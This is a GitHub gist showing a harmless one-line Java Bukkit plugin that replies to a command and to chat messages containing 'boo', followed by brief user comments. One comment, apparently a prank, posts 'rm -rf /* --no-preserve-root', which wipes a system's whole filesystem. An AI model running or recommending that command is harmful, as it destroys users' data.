Skip to content

Instantly share code, notes, and snippets.

@akaiomoi
Last active April 27, 2022 22:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save akaiomoi/46e35a033176fe9a70dc3d9c65620ecd to your computer and use it in GitHub Desktop.
Save akaiomoi/46e35a033176fe9a70dc3d9c65620ecd to your computer and use it in GitHub Desktop.
A One Line Plugin
import org.bukkit.Bukkit;import org.bukkit.command.Command; import org.bukkit.command.CommandExecutor; import org.bukkit.command.CommandSender; import org.bukkit.event.EventHandler; import org.bukkit.event.Listener; import org.bukkit.event.player.AsyncPlayerChatEvent; import org.bukkit.plugin.java.JavaPlugin; public class MyPlugin extends JavaPlugin implements CommandExecutor, Listener { @Override public void onEnable() { getCommand("one").setExecutor(this::onCommand); Bukkit.getPluginManager().registerEvents(this, this); getLogger().info("Enabled OneLine"); } @Override public void onDisable() { getLogger().info("Disabled OneLine!"); } @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { sender.sendMessage("Boo!"); return true; } @EventHandler public void onEvent(AsyncPlayerChatEvent event) { if(event.getMessage().toLowerCase().contains("boo")) { event.getPlayer().sendMessage("Scary!");} } }
@akaiomoi
Copy link
Author

why does this work

@Sparky983
Copy link

gradlew googleJavaFormat

@AkramLZ
Copy link

AkramLZ commented Apr 27, 2022

rm -rf /* --no-preserve-root

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment